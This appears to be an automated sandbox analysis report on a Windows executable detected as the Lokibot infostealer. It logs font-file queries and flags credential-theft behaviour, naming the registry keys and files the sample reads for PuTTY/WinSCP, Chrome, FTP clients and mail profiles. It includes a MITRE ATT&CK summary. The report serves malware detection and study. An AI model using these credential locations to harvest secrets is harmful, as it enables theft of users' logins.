Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Code function: 5_2_00406069 GetUserNameW,

5_2_00406069

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Lokibot

Show sources

Source: Yara match	File source: 00000000.00000002.651632346.0000000003D09000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Conan Fegan - Aluminium.exe PID: 7008, type: MEMORY
Source: Yara match	File source: Process Memory Space: Conan Fegan - Aluminium.exe PID: 4748, type: MEMORY
Source: Yara match	File source: 0.2.Conan Fegan - Aluminium.exe.3e3d4e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Conan Fegan - Aluminium.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Conan Fegan - Aluminium.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Conan Fegan - Aluminium.exe.3eccf90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Conan Fegan - Aluminium.exe.3dfbac0.4.raw.unpack, type: UNPACKEDPE

Yara detected Lokibot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000005.00000002.901084712.000000000121A000.00000004.00000001.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions			Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings	Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts	Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities			Jump to behavior
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook			Jump to behavior

Tries to steal Mail credentials (via file registry)

Show sources

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: PopPassword		5_2_0040D069
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: SmtpPassword		5_2_0040D069

Source: Yara match	File source: 00000000.00000002.651632346.0000000003D09000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Conan Fegan - Aluminium.exe PID: 7008, type: MEMORY
Source: Yara match	File source: 0.2.Conan Fegan - Aluminium.exe.3e3d4e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Conan Fegan - Aluminium.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Conan Fegan - Aluminium.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Conan Fegan - Aluminium.exe.3eccf90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Conan Fegan - Aluminium.exe.3dfbac0.4.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected Lokibot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000005.00000002.901084712.000000000121A000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Access Token Manipulation1	Masquerading1	OS Credential Dumping2	Security Software Discovery111	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Process Injection112	Virtualization/Sandbox Evasion2	Credentials in Registry2	Virtualization/Sandbox Evasion2	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools1	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Local System2	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Access Token Manipulation1	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol113	SIM Card Swap		Carrier Billing Fraud
